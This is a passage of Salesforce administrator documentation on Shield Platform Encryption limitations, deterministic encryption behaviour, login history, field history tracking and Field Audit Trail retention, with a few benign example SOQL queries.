- User Email is unencrypted when Lightning Sync or Einstein Activity Capture are enabled. Lightning Sync and Einstein Activity Capture duplicate the User Email field in the database when users are added to sync configurations for those products. Even if you encrypt the User Email field with Shield Platform Encryption, this duplicate field stores user emails in the Salesforce database in an unencrypted state. For more information, see Considerations for Syncing Contacts, Considerations for Syncing Events, and Considerations for Setting Up Einstein Activity Capture.

- Event functionality that relies on user emails, especially calendar invitations, can be interrupted. Before encrypting the User Email field in production environments, Salesforce recommends that you test Activity features in a sandbox.

- You can’t sort records in list views by fields that contain encrypted data. If you encrypt User email, you can’t add it as a filter in reports.

- Login Discovery Handler lookups that rely on emails don’t work if the email field is encrypted, which can block user logins. If your lookups rely on emails, don’t encrypt the User Email field.

- If you use Einstein Conversation Insights, encrypt User Email with case-insensitive deterministic encryption. Some Einstein Conversation Insights features, including video calls, don’t work when User Email is encrypted with probabilistic encryption.

Flows and Processes

You can reference encrypted fields in most places in your flows and processes. However, you can’t reference encrypted fields in these filtering or sorting contexts.

<table>
<thead>
<tr>
<th>Tool</th>
<th>Filtering Availability</th>
<th>Sorting Availability</th>
</tr>
</thead>
<tbody>
<tr>
<td>Process Builder</td>
<td>Update Records action</td>
<td>n/a</td>
</tr>
<tr>
<td>Flow Builder</td>
<td>Record Choice Set resource</td>
<td>Record Choice Set resource</td>
</tr>
<tr>
<td></td>
<td>Get Records element</td>
<td>Get Records element</td>
</tr>
<tr>
<td></td>
<td>Delete Records element</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Update Records element</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Condition requirements</td>
<td></td>
</tr>
</tbody>
</table>
You can store the value from an encrypted field in a variable and operate on that value in your flow’s logic. You can also update the value for an encrypted field.

Paused flow interviews can cause data to be saved in an unencrypted state. When a flow or process is waiting to resume, the associated flow interview is serialized and saved to the database. The flow interview is serialized and saved when:

- Users pause a flow
- Flows execute a Pause element
- Processes are waiting to execute scheduled actions

If the flow or process loads encrypted fields into a variable during these processes, that data isn’t always encrypted at rest.

**Next Best Action Recommendations**

When you use probabilistic encryption, you can’t use encrypted fields like Recommendation Description when you specify conditions to load recommendations.

**Custom Fields**

You can’t use encrypted custom fields in criteria-based sharing rules.

Some custom fields can’t be encrypted.

- Fields that have the Unique or External ID attributes or include these attributes on previously encrypted custom fields (applies only to fields that use the probabilistic encryption scheme)
- Fields on external data objects
- Fields that are used in an account contact relation

You can’t use Schema Builder to create an encrypted custom field.

You can’t use Shield Platform Encryption with Custom Metadata Types.

**SOQL and SOSL**

- You can’t include fields encrypted with the probabilistic encryption scheme in the following SOQL and SOSL clauses and functions:
  - Aggregate functions such as MAX(), MIN(), and COUNT_DISTINCT()
  - WHERE clause
  - GROUP BY clause
  - ORDER BY clause

For information about SOQL and SOSL compatibility with deterministic encryption, see Considerations for Using Deterministic Encryption in Salesforce Help.

**Tip:** Consider whether you can replace a WHERE clause in a SOQL query with a FIND query in SOSL.

- When you query encrypted data, invalid strings return an INVALID_FIELD error instead of the expected MALFORMED_QUERY.

**Marketing Cloud Account Engagement**

Account Engagement supports contact email addresses encrypted by Shield Platform Encryption as long as your instance meets a few conditions. Your org must allow multiple prospects with the same email address. After this feature is enabled, you can add the contact email address field to your encryption policy.

Because the contact email address shows in the Permission object, users must have permission to view the Prospect object.
If you encrypt the contact email address field, the Salesforce Connector can't use the email address as a secondary prospect match criteria. For more information, read Salesforce Connector Settings.

Portals
If a legacy portal (created before 2013) is enabled in your org, you can't encrypt standard fields. Deactivate all legacy customer and partner portals to enable encryption on standard fields. (Salesforce Experience Cloud sites are supported.)

To deactivate a legacy customer portal, go to the Customer Portal Settings page in Setup. To deactivate a legacy partner portal, go to the Partners page in Setup.

Salesforce B2B Commerce
Shield Platform Encryption supports version 4.10 and later of the Salesforce B2B Commerce managed package, with some behavior differences. For a complete list of considerations, see Enable Shield Platform Encryption for B2B Commerce for Visualforce Objects.

Search
If you encrypt fields with a key and then destroy the key, the corresponding search terms remain in the search index. However, you can't decrypt the data associated with the destroyed key.

Accounts, Person Accounts, and Contacts
When Person Accounts are turned on, encrypting any of the following Account fields encrypts the equivalent Contact fields, and vice versa.
- Name
- Description
- Phone
- Fax

When you encrypt any of the following Account or Contact fields, the equivalent fields in Person Accounts are also encrypted.
- Name
- Description
- Mailing Address
- Phone
- Fax
- Mobile
- Home Phone
- Other Phone
- Email

When the Account Name or Contact Name field is encrypted, searching for duplicate accounts or contacts to merge doesn’t return any results.

When you encrypt the First Name or Last Name field on a contact, that contact appears in the Calendar Invite lookup only if you haven’t filtered by First Name or Last Name.
Email Bounce Handling
Bounce handling doesn’t support encrypted email addresses. If you need email bounce handling, don’t encrypt the standard Email field.

Email-to-Case
Copying text from email fields also copies unicode characters embedded in email text. Two of those unicode character sequences, \uFFFE and \uFFFF, can’t be included in text encrypted by Shield Platform Encryption. If you encounter an error mentioning these unicode sequences, delete the text copied from the email field and type it manually.

Activity Subject and Description
You can encrypt an Activity Subject field with case-insensitive encryption. If you destroy key material that encrypts a field, filtering on the field doesn’t yield matches.

If you encrypt the Activity Subject field and it’s used in a custom picklist, delete and replace actions aren’t available for that value. To remove an Activity Subject value from a picklist, deactivate it.

Activity Subject fields that include an OrgID aren’t copied over when you create a sandbox copy of a production org.

Encrypting Activity Description also encrypts the Task Comment field. The validation email lists the Task Comment field but not Activity Description, even though both fields are encrypted.

Salesforce for Outlook
If you encrypt the same fields that you filter in Salesforce for Outlook data sets, Salesforce for Outlook doesn’t sync. To get Salesforce for Outlook to sync again, remove the encrypted fields from your filters in your data sets.

Campaigns
Campaign member search isn’t supported when you search by encrypted fields.

Notes
You can encrypt the body text of Notes created with the new Notes tool. However, the Preview file and Notes created with the old Notes tool aren’t supported.

Field Audit Trail
Data in a previously archived Field Audit Trail isn’t encrypted when you turn on Platform Encryption. For example, say that your org uses Field Audit Trail to define a data history retention policy for an account field, such as the phone number field. When you turn on encryption for that field, new phone number records are encrypted as they’re created. Previous updates to the phone number field that are stored in the Account History related list are also encrypted. However, phone number history data that is already archived in the FieldHistoryArchive object is stored without encryption. To encrypt previously archived data, contact Salesforce.

Salesforce Experiences
If you encrypt the Account Name field and you’re not using Person Accounts, encryption affects how users’ roles are displayed to admins.

Normally, a site user’s role name is displayed as a combination of their account name and the name of their user profile. When you encrypt the Account Name field, the account ID is displayed instead of the account name.
For example, when the Account Name field isn’t encrypted, users belonging to the Acme account with the Customer User profile would have a role called Acme Customer User. When Account Name is encrypted (and Person Accounts aren’t in use), the role is displayed as something like 001D000000IRt53 Customer User.

**Data Import Wizard**

You can’t use the Data Import Wizard to perform matching using master-detail relationships or update records that contain fields that use the probabilistic encryption scheme. You can use it to add new records, however.

**Reports, Dashboards, and List Views**

- Report charts and dashboard components that display encrypted field values might be cached unencrypted.
- You can’t sort records in list views by fields that contain encrypted data.

**Encryption for Chatter**

When you embed a custom component in your Chatter feed using Rich Publisher Add-Ons, the data related to those add-ons is encoded, but it isn’t encrypted with the Shield Platform Encryption service. Unencrypted data in Rich Publisher Add-Ons includes data stored in the Extension ID, Text Representation, Thumbnail URL, Title, Payload, and PayloadVersion fields.

**Encryption for Custom Matching Rules Used in Duplicate Management**

Custom matching rules can only reference fields encrypted with the deterministic encryption scheme. Probabilistic encryption isn’t supported. When you rotate your keys, you must deactivate and then reactivate custom matching rules that reference encrypted fields. If you don’t take this step after updating your key material, matching rules don’t find all your encrypted data.

Standard matching rules that include fields with Shield Platform Encryption don’t detect duplicates. If you encrypt a field included in standard matching rules, deactivate the standard rule.

Service protections ensure that loads are balanced across the system. The matching service searches for match candidates until it finds all matches up to 200 matches. With Shield Platform Encryption, the service search maximum is 100 candidates. With encryption, you could find fewer or no possible duplicate records.

Duplicate jobs aren’t supported.

**Self-Service Background Encryption**

Self-service background encryption can encrypt data once every 7 days. This limit includes synchronization processes initiated from the Encryption Statistics and Data Sync page, synchronization that automatically runs when you disable encryption on a field, and synchronization completed by Salesforce Customer Support at your request.

Some conditions prevent the self-service background encryption from running:

- There are more than 10 million records in an object
- The org has destroyed key material
- An object’s data is already synchronized
- The synchronization process is already running, initiated either by the customer or by Salesforce Customer Support at the customer’s request
- Statistics are being gathered
- An encryption policy change is being processed, such as enabling encryption on a field or data element
After you begin the synchronization processes, wait until it finishes before changing your encryption policy or generating, uploading, or deleting key material. These actions abort the synchronization process.

**Employees**

If the email field is encrypted using probabilistic encryption, wellness check surveys can't be used. Deterministic encryption is fully supported.

**Messaging End User**

Encrypting fields on the Messaging End User object sometimes affects indexing. If you see performance degradation on these fields, manually create custom indexes on the affected fields after enabling encryption.

**General**

- Encrypted fields can't be used in:
  - Criteria-based sharing rules
  - Similar opportunities searches
  - External lookup relationships

- Fields encrypted with the probabilistic encryption scheme can't be used in filter criteria for data management tools. For considerations specific to filter-preserving deterministic encryption, read Considerations for Using Deterministic Encryption.

- Web-to-Case is supported, but the Web Company, Web Email, Web Name, and Web Phone fields aren't encrypted at rest.

**Considerations for Using Deterministic Encryption**

These considerations apply to data encrypted with Shield Platform Encryption's deterministic encryption scheme. Some considerations manifest differently depending on whether data is encrypted with the case-sensitive or case-insensitive deterministic encryption scheme.

**Key Rotation and Filter Availability**

When you rotate key material or change a field's encryption scheme to case-sensitive deterministic encryption or case-insensitive deterministic encryption, synchronize your data. Syncing applies the active Data in Salesforce (Deterministic) key material to existing and new data. If you don't sync your data, filtering and queries on fields with unique attributes don't return accurate results.

You can sync most data yourself from the Encryption Statistics and Data Sync page in Setup. See Synchronize Your Data Encryption with the Background Encryption Service.

**Available Fields and Other Data**

Deterministic encryption is available for custom URL, email, phone, text, and text area field types. It isn't available for the following types of data:

- Custom date, date/time, long text area, rich text area, or description field types
- Chatter
- Files and attachments

**Note:** This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
Filter Operators

In reports and list views, the operators “equals” and “not equal to” are supported with case-sensitive deterministic encryption. Other operators, like “contains” or “starts with,” don’t return an exact match and aren’t supported. Features that rely on unsupported operators, such as Refine By filters, also aren’t supported.

Case-insensitive deterministic encryption supports list views and reports. However, the user interface displays all operators, including operators that aren’t supported for encrypted data. To review the list of supported operators, see Use Encrypted Data in Formulas.

Formulas

Fields encrypted with the deterministic encryption scheme can’t be referenced in SOQL WHERE queries.

Case Sensitivity

When you use case-sensitive deterministic encryption, case matters. In reports, list views, and SOQL queries on encrypted fields, the results are case-sensitive. Therefore, a SOQL query against the Contact object, where LastName = Jones, returns only Jones, not jones or JONES. Similarly, when the case-sensitive deterministic scheme tests for unicity (uniqueness), each version of “Jones” is unique.

Custom Field Allocations

To allow case-insensitive queries, Salesforce stores a lowercase duplicate of your data as a custom field in the database. These duplicates are necessary to enable case-insensitive queries, but they count against your total custom field count.

API Options to Identify Filterable Fields

Fields encrypted using the deterministic encryption scheme are filterable. You can use the isFilterable() method to determine the encryption scheme of a particular encrypted field. If the field is filterable, the method returns true.

However, you can’t explicitly detect or set the deterministic encryption scheme via the API.

External ID

Case-insensitive deterministic encryption supports Text and Email external ID custom fields but not other external ID custom fields. When you create or edit these fields, use one of the following field setting combinations.

<table>
<thead>
<tr>
<th>External ID Field Type</th>
<th>Unique Attributes</th>
<th>Encrypted</th>
</tr>
</thead>
<tbody>
<tr>
<td>Text</td>
<td>None</td>
<td>Use case-insensitive deterministic encryption</td>
</tr>
<tr>
<td>Text</td>
<td>Unique and case sensitive</td>
<td>Use case-sensitive deterministic encryption</td>
</tr>
<tr>
<td>Text</td>
<td>Unique and case insensitive</td>
<td>Use case-insensitive deterministic encryption</td>
</tr>
<tr>
<td>Email</td>
<td>None</td>
<td>Use case-insensitive deterministic encryption</td>
</tr>
<tr>
<td>Email</td>
<td>Unique</td>
<td>Use case-sensitive deterministic encryption</td>
</tr>
</tbody>
</table>
You can’t save changes to both Unique - Case-Sensitive and Encrypted options at the same time. Change one setting, save it, then change the next.

**Compound Fields**

Even with deterministic encryption, some kinds of searches don’t work when data is encrypted with case-sensitive deterministic encryption. Concatenated values, such as compound names, aren’t the same as the separate values. For example, the ciphertext for the compound name “William Jones” isn’t the same as the concatenation of the ciphertexts for “William” and “Jones”.

So, if the First Name and Last Name fields are encrypted in the Contacts object, this query doesn’t work:

```
Select Id from Contact Where Name = 'William Jones'
```

But this query does work:

```
Select Id from Contact Where FirstName = 'William' And LastName = 'Jones'
```

Case-sensitive and case-insensitive deterministic encryption schemes support compound fields, but only with individual column queries.

**Filter Records by Strings**

You can search for records using strings. However, commas in strings act as OR statements. If your string includes a comma, use quotation marks around the string. For example, a search for “Universal Containers, Inc, Berlin” returns records that include the full string, including the comma. Searches for “Universal Containers, Inc, Berlin” returns records that include “Universal Containers” or “Inc” or “Berlin”.

**SOQL GROUP BY Statements**

You can use most of the SOQL statements with deterministic encryption. One exception is GROUP BY, which isn’t supported, even though you can group report results by row or column.

**SOQL LIKE and STARTS WITH Statements**

Deterministic encryption only supports exact, case-sensitive matches. Comparison operators that return partial matches aren’t supported. For example, LIKE and STARTS WITH statements aren’t supported.

**SOQL ORDER BY Statements**

Because deterministic encryption doesn’t maintain the sort order of encrypted data in the database, ORDER BY isn’t supported.

**Indexes**

Case-sensitive deterministic encryption supports single-column indexes, single-column case-sensitive unique indexes, two-column indexes, and custom indexes on standard and custom fields.

Case-insensitive deterministic encryption offers limited support for standard indexes on the following standard fields.

- Contact—Email
- Email Message—Relation
- Lead—Email
- Name
Queries against these fields, when encrypted with case-insensitive deterministic encryption, can perform poorly with large tables. For optimal query performance, use custom indexes instead of standard indexes. To set up custom indexes, contact Salesforce Customer Support.

Expect the enablement process to take longer when you apply deterministic encryption to a field with a large number of records. To support filtering, the enablement process also rebuilds field indexes.

**Next Best Action Recommendations**

When you use deterministic encryption, you can use encrypted fields in load conditions only with the equals or not equals operator.

**Chat**

For the best possible recommendation results, use the case-sensitive deterministic encryption scheme with the Utterance field on the Utterance Suggestion object. This field doesn't support other encryption schemes at this time.

The Actor Name field on the Conversation Entry object supports case-sensitive deterministic encryption, but not case-insensitive deterministic encryption.

**Converting Account and Contact Records to Person Accounts**

When you convert account and contact records to Person Accounts, synchronize your data. Syncing resets the indexes that allow case-insensitive filtering.

**Shield Platform Encryption and the Lightning Experience**

Shield Platform Encryption works the same way in the Lightning Experience as it does in Salesforce Classic, with a few minor exceptions.

**Notes**

Note previews in Lightning are not encrypted.

**File Encryption Icon**

The icon that indicates that a file is encrypted doesn’t appear in Lightning.
Field Limits with Shield Platform Encryption

Under certain conditions, encrypting a field can impose limits on the values that you store in that field. If you expect users to enter non-ASCII values, such as Chinese, Japanese, or Korean-encoded data, we recommend creating validation rules to enforce these field limits.

<table>
<thead>
<tr>
<th>Field Name</th>
<th>API Length</th>
<th>Byte Length</th>
<th>Non-ASCII Characters</th>
</tr>
</thead>
<tbody>
<tr>
<td>Assistant Name (Contact)</td>
<td>40</td>
<td>120</td>
<td>22</td>
</tr>
<tr>
<td>Address (To, CC, BCC on Email Message) (when encrypted with probabilistic or case-sensitive deterministic encryption)</td>
<td>2959</td>
<td>4000</td>
<td>1333</td>
</tr>
<tr>
<td>City (Account, Contact, Lead)</td>
<td>40</td>
<td>120</td>
<td>22</td>
</tr>
<tr>
<td>Email (Contact, Lead)</td>
<td>80</td>
<td>240</td>
<td>70</td>
</tr>
<tr>
<td>Fax (Account)</td>
<td>40</td>
<td>120</td>
<td>22</td>
</tr>
<tr>
<td>First Name (Account, Contact, Lead)</td>
<td>40</td>
<td>120</td>
<td>22</td>
</tr>
<tr>
<td>Last Name (Contact, Lead)</td>
<td>80</td>
<td>240</td>
<td>70</td>
</tr>
<tr>
<td>Middle Name (Account, Contact, Lead)</td>
<td>40</td>
<td>120</td>
<td>22</td>
</tr>
<tr>
<td>Name (Custom Object)</td>
<td>80</td>
<td>240</td>
<td>70</td>
</tr>
<tr>
<td>Name (Opportunity)</td>
<td>120</td>
<td>360</td>
<td>110</td>
</tr>
<tr>
<td>Phone (Account, Contact)</td>
<td>40</td>
<td>120</td>
<td>22</td>
</tr>
<tr>
<td>Site (Account)</td>
<td>80</td>
<td>240</td>
<td>70</td>
</tr>
<tr>
<td>Subject (Email Message) (when encrypted with probabilistic or case-sensitive deterministic encryption)</td>
<td>2207</td>
<td>3000</td>
<td>1000</td>
</tr>
<tr>
<td>Title (Contact, Lead)</td>
<td>128</td>
<td>384</td>
<td>126</td>
</tr>
</tbody>
</table>

Note: This list isn’t exhaustive. For information about a field not shown here, refer to the API.

Email Message Fields and Case-Insensitive Encryption

To encrypt Address and Subject fields on the Email Message object with case-insensitive deterministic encryption, apply the scheme before you enter data into these fields. If existing data in these fields exceeds the following limits, that data isn’t encrypted with case-insensitive deterministic encryption.

- API length: 527
- Byte length: 765
- Non-ASCII characters: 262
Case Comment Object

The Body field on the Case Comment object has a limit of 4,000 ASCII characters (or 4,000 bytes). However, when these fields are encrypted, the character limit is lower. How much lower depends on the kind of characters you enter.

- ASCII: 2959
- Chinese, Japanese, Korean: 1333
- Other non-ASCII: 1479

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Which Salesforce Apps Don’t Support Shield Platform Encryption?

Some Salesforce features work as expected when you work with data that’s encrypted with Shield Platform Encryption. Others don’t.

These apps don’t support data encrypted with Shield Platform Encryption.

- Connect Offline
- Commerce Cloud (Salesforce B2B Commerce version 4.10 and later is supported)
- Data.com
- Einstein Recommendation Engine in Marketing Cloud (includes Einstein Recommendations, Einstein Web Recommendations, and Einstein Email Recommendations)
- Salesforce Einstein (includes Einstein Search, Sales Cloud Einstein, Einstein Discovery, Einstein Builders, and Einstein Vision and Language)
- Heroku (but Heroku Connect does support encrypted data)
- Marketing Cloud (but Marketing Cloud Connect does support encrypted data)
- Sales productivity features that require data to be stored using a public cloud provider
- Social Customer Service
- Thunder
- Quip
- Salesforce Billing

Legacy portals (customer, self-service, and partner) don’t support data encrypted with Shield Platform Encryption. If legacy portals are active, Shield Platform Encryption can’t be enabled.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Audit and Monitor Your Organization’s Security

Track login and field history, monitor setup changes, and address your auditing and data retention compliance obligations.

Review the following sections for detailed instructions and tips on monitoring the security of your Salesforce org.
IN THIS SECTION:

Monitor Login History
As an admin, you can monitor all login attempts to Salesforce, to your Experience Cloud sites, and to logins to connected apps that use insecure flows. The Login History page shows up to 20,000 records of user logins for the past 6 months. To see more records, download the information to a CSV or GZIP file.

Field History Tracking
You can select certain fields to track and display the field history in the History related list of an object. When Field Audit Trail isn’t enabled, field history data is retained for up to 18 months, and up to 24 months via the API. If Field Audit Trail is enabled, field history data is retained until manually deleted. You can manually delete field history data at any time. Field history tracking data doesn’t count against your data storage limits.

Monitor Setup Changes with Setup Audit Trail
Setup Audit Trail tracks the recent setup changes that you and other admins make. Audit history is especially useful when there are multiple admins.

Monitor Login History
As an admin, you can monitor all login attempts to Salesforce, to your Experience Cloud sites, and to logins to connected apps that use insecure flows. The Login History page shows up to 20,000 records of user logins for the past 6 months. To see more records, download the information to a CSV or GZIP file.

Know who logged in, at what time, and from where. Use the Login History page to view this information.

• Authentication Method References. Monitor how your OpenID providers authenticate users that log in to your org through OpenID Connect. For example, see which users log in with multi-factor authentication (MFA).
  To show you how your OpenID provider is authenticating users, Salesforce pulls the authentication method from JSON strings in the OpenID Connect token returned by your provider. Work with your provider to define the values used in the JSON strings. To get started, you can see the values defined by the Internet Engineering Task Force. These values aren’t necessarily supported by your OpenID provider. For more information on the Authentication Method References claim, see the OpenID Connect Core 1.0 standards from the OpenID Foundation.

• HTTP Login Method—View the HTTP method used for the session login: POST, GET, or Unknown.
• SAML Single Sign-On (SSO)—If your org uses SAML SSO identity provider certificates, view SAML SSO history.
• My Domain—You can see when users are logging in with a My Domain URL, which is displayed in the Login URL column.
• License Manager Users—Internal users with names in the format 033*********2@00d2********db indicate users who are associated with the License Management App (LMA). This app manages the number of licenses used by a subscriber org. These internal users can appear in the License Management org (LMO) and in subscriber orgs that have an AppExchange package managed by the LMA.
• Logins to connected apps—View login subtype to see logins to connected apps that use user-agent or username-password flows. Monitor these logins to determine the effects of blocking these insecure flows.
Field History Tracking

You can select certain fields to track and display the field history in the History related list of an object. When Field Audit Trail isn’t enabled, field history data is retained for up to 18 months, and up to 24 months via the API. If Field Audit Trail is enabled, field history data is retained until manually deleted. You can manually delete field history data at any time. Field history tracking data doesn’t count against your data storage limits.

You can track the field history of custom objects and the following standard objects.

- Accounts
- Articles
- Assets
- Campaigns
- Cases
- Contacts
- Contracts
- Contract Line Items
- Crisis
- Employees
- Employee Crisis Assessments
- Entitlements
- Events
- Individuals
- Internal Organization Units
- Knowledge
- Leads
- Opportunities
- Orders
- Order Products
- Products
- Price Book Entries
- Quote
- Quote Line Item
- Service Appointments
- Service Contracts
- Solutions
- Tasks
- Work Orders
- Work Order Line Items

Modifying any of these fields adds an entry to the History related list. All entries include the date, time, nature of the change, and who made the change. Not all field types are available for historical trend reporting. Certain changes, such as case escalations, are always tracked.
Salesforce stores an object’s tracked field history in an associated object called StandardObjectNameHistory or CustomObjectName__History. For example, AccountHistory represents the history of changes to the values of an Account record’s fields. Similarly, MyCustomObject__History tracks field history for the MyCustomObject__c custom object.

**Note:** Since the Spring ’15 release, increasing the entity field history retention period beyond the standard 18–24 months requires the purchase of the Field Audit Trail add-on. When the add-on subscription is enabled, field history data is retained until you manually delete it. If your org was created before June 1, 2011, Salesforce continues to retain all field history. If your org was created on or after June 1, 2011 and you decide not to purchase the add-on, Salesforce retains your field history for the standard 18–24 months.

Considerations

Consider the following when working with field history tracking.

**General Considerations**

- Salesforce starts tracking field history from the date and time that you enable it on a field. Changes made before this date and time aren’t included and didn’t create an entry in the History related list.
- Use Data Loader or the `queryAll()` API to retrieve field history that’s 18–24 months old.
- Changes to fields with more than 255 characters are tracked as edited, and their old and new values aren’t recorded.
- Changes to time fields aren’t tracked in the field history related list.
- The Field History Tracking timestamp is precise to a second in time. In other words, if two users update the same tracked field on the same record in the same second, both updates have the same timestamp. Salesforce can’t guarantee the commit order of these changes to the database. As a result, the display values can look out of order.
- You can’t create a record type on a standard or custom object and enable field history tracking on the record type in the same Metadata API deployment. Instead, create the record type in one deployment and enable history tracking on it in a separate deployment.
- Salesforce doesn’t enable the recently viewed or referenced functionality in StandardObjectNameHistory or CustomObjectName__History objects. As a result, you can’t use the FOR VIEW or FOR REFERENCE clauses in SOQL queries on these history objects. For example, the following SOQL query isn’t valid:

  ```sql
  SELECT AccountId, Field FROM AccountHistory LIMIT 1 FOR VIEW
  ```

**Interactions With Other Salesforce Features**

- In Lightning, you can see gaps in numerical order in the Created Date and ID fields. All tracked changes still are committed and recorded to your audit log. However, the exact time that those changes occur in the database can vary widely and aren’t guaranteed to occur within the same millisecond. For example, there can be triggers or updates on a field that increase the commit time, and you can see a gap in time. During that time period, IDs are created in increasing numerical order but can also have gaps for the same reason.
- If Process Builder, an Apex trigger, or a Flow causes a change on an object the current user doesn’t have permission to edit, that change isn’t tracked. Field history honors the permissions of the current user and doesn’t record changes that occur in system context.
- Salesforce attempts to track all changes to a history-tracked field, even if a particular change is never stored in the database. For example, let’s say an admin defines an Apex before trigger on an object that changes a Postal Code field value of 12345 to 94619. A user adds a record to the object and sets the Postal Code field to 12345. Because of the Apex trigger, the actual Postal Code value stored in the database is 94619. Although only one value was eventually stored in the database, the tracked history of the Zip Code field has two new entries:
  - No value → 12345 (the change made by the user when they inserted the new record)
  - 12345 → 94619 (the change made by the Apex trigger)
Event and Task History Considerations

- It can take up to a few minutes for changes to appear in history.
- You can track up to six fields on events or tasks.
- After an activity is deleted, the history for the activities can be visible via API queries for up to a few days. The history remains available because it’s deleted asynchronously from the activity.
- Not all changes to recurring and child events are tracked.
- You can’t delete specific field history records.
- Bulk processes such as Bulk API transactions or event syncing can be delayed when field history tracking is enabled. If processes are delayed, consider turning off activity field history tracking.
- The parent record of an activity is locked when the activity history updates. For example, if an activity is linked to thousands of accounts, each account is locked while the history updates. As a best practice, avoid data skew. If processes fail because of parent-child row locking, consider turning off activity field history tracking.
- Field value changes caused by process builder, Apex triggers, or flows are tracked in an activity's history. Users see the change only if their field-level security settings permit them to. In other objects, field changes from processes, triggers, and flows are tracked only if the current user has permission to edit the modified fields.
- If a previously encrypted field used for tracking is unencrypted, the values tracked while the field was encrypted don’t appear. After the field is unencrypted, the values are tracked in history.
- Activity history is available in APIs only for admins with permission to modify all data.
- For activities, field history is shown in a Lightning component that looks like a related list. Instead of managing the history on the page layout, you place the Activity Record History component on Lightning pages for event and task records. You can add the Activity Record History component to custom event and task pages or remove it from the default pages. The history list stays empty until you turn on field history tracking in the Object Manager.
- Fields displaying decimal values, such as currency and percent field types, aren’t supported.
- The history list isn’t available in Salesforce Classic or in the mobile app.

Contact History Considerations

- When a lead is converted to a new or an existing contact, the contactCreatedFromLead or contactUpdatedByLead field appears in the History related list for the contact. The presence of these fields in the contact history indicates that the contact was created or updated from a lead. The field value is always null.

Translation and Locale Considerations

- Tracked field values aren’t automatically translated; they display in the language in which they were made. For example, if a field is changed from Green to Verde, Verde is displayed no matter what a user’s language is, unless the field value has been translated into other languages via the Translation Workbench. This behavior also applies to record types and picklist values.
- Changes to custom field labels that have been translated via the Translation Workbench are shown in the locale of the user viewing the History related list. For example, if a custom field label is Red and translated into Spanish as Rojo, then a user with a Spanish locale sees the custom field label as Rojo. Otherwise, the user sees the custom field label as Red.
- Changes to date fields, number fields, and standard fields are shown in the locale of the user viewing the History related list. For example, a date change to August 5, 2012 shows as 8/5/2012 for a user with the English (United States) locale, and as 5/8/2012 for a user with the English (United Kingdom) locale.
Track Field History for Custom Objects
You can enable field history tracking for custom objects in the object’s management settings.

Disable Field History Tracking
You can turn off field history tracking from the object’s management settings.

Field Audit Trail
With Field Audit Trail, you can define a policy to retain archived field history data. This feature helps you comply with industry regulations related to audit capability and data retention.

Track Field History for Standard Objects
You can enable field history tracking for standard objects in the object’s management settings.

If you use both business accounts and person accounts, keep in mind that:

- Field history tracking for accounts applies to both business and person accounts, so the 20-field maximum includes both types of accounts.
- Changes made directly to a person contact record aren’t tracked by field history.

To set up field history tracking:

1. From the management settings for the object whose field history you want to track, go to the fields area.

2. Click Set History Tracking.
   
   Tip: When you enable tracking for an object, customize your page layouts to include the object’s history related list.

3. For accounts, contacts, leads, and opportunities, select the Enable Account History, Enable Contact History, Enable Lead History, or Enable Opportunity History checkbox.

4. Choose the fields you want tracked.
   
   You can select a combination of up to 20 standard and custom fields per object. For accounts, this limit includes fields for both business accounts and person accounts.
   
   Certain changes, such as case escalations, are always tracked.
   
   You can’t track the following fields:
   - Formula, roll-up summary, or auto-number fields
   - Created By and Last Modified By
   - Fields that have the AI Prediction checkbox selected
   - Expected Revenue field on opportunities
   - Master Solution Title or the Master Solution Details fields on solutions; these fields display only for translated solutions in organizations with multilingual solutions enabled.

5. Click Save.
   
   Salesforce tracks history from this date and time forward. Changes made prior to this date and time are not included.
Track Field History for Custom Objects

You can enable field history tracking for custom objects in the object's management settings.

1. From Setup, enter Object Manager in the Quick Find box, then select Object Manager.
2. Click the custom object, and click Edit.
3. Under Optional Features, select the Track Field History checkbox.
   
   Tip: When you enable tracking for an object, customize your page layouts to include the object's history related list.

4. Save your changes.
5. Click Set History Tracking in the Custom Fields & Relationships section. This section lets you set a custom object's history for both standard and custom fields.
6. Choose the fields you want tracked.
   You can select up to 20 standard and custom fields per object. You can’t track:
   • Formula, roll-up summary, or auto-number fields
   • Created By and Last Modified By
   • Fields that have the AI Prediction checkbox selected
7. Click Save.
   Salesforce tracks history from this date and time forward. Changes made prior to this date and time are not included.

Field History Tracking is supported on custom objects in managed packages. However, if the package developer updates the packaged field history settings, those settings aren’t updated during package upgrades.
Disable Field History Tracking

You can turn off field history tracking from the object’s management settings.

Note: If Apex references one of an object’s fields, you can’t disable field history tracking for that object.

1. From the management settings for the object whose field history you want to stop tracking, go to Fields.
2. Click Set History Tracking.
3. Deselect the enable history for the object you are working with—for example, Enable Account History, Enable Contact History, Enable Lead History, or Enable Opportunity History. The History related list is automatically removed from the associated object’s page layouts.
   If you disable field history tracking on a standard object, you can still report on its history data up to the date and time that you disabled tracking. If you disable field history tracking on a custom object, you cannot report on its field history.
4. Save your changes.

Field Audit Trail

With Field Audit Trail, you can define a policy to retain archived field history data. This feature helps you comply with industry regulations related to audit capability and data retention.

Note: Async SOQL is scheduled for retirement in all Salesforce orgs as of Summer ’23.

Use Salesforce Metadata API to define a field history retention policy for those fields that have history tracking enabled. Then use REST API, SOAP API, and Tooling API to work with your archived data. For information about enabling Field Audit Trail, contact your Salesforce representative.

Field history is copied from the History related list into the FieldHistoryArchive big object. You define one HistoryRetentionPolicy for your related history lists, such as Account History, to specify Field Audit Trail retention policies for the objects that you want to archive. Then use Metadata API to deploy your policy. You can update the retention policy on an object as often as needed. With Field Audit Trail, you can track up to 60 fields per object. Without it, you can track only 20 fields per object. With Field Audit Trail, archived field history data is stored until you manually delete it. You can manually delete data that falls outside of your policy window.

Important: Field history tracking data and Field Audit Trail data don’t count against your data storage limits.

You can set field history retention policies on these objects.

- Accounts, including Person Accounts
- Assets
- Authorization Form Consent
- Campaigns
- Cases
- Communication Subscription Consent
- Contacts
- Contact Point Consent
- Contact Point Type Consent
- Contracts
- Contract Line Items
- Crisis
- Employee
- Employee Crisis Assessment
- Entitlements
- Individuals
- Internal Organization Unit
- Leads
- Opportunities
- Orders
- Order Products
- Party Consent
- Price Books
- Price Book Entries
- Products
- Service Appointments
- Service Contracts
- Solutions
- Work Orders
- Work Order Line Items
- Custom objects with field history tracking enabled

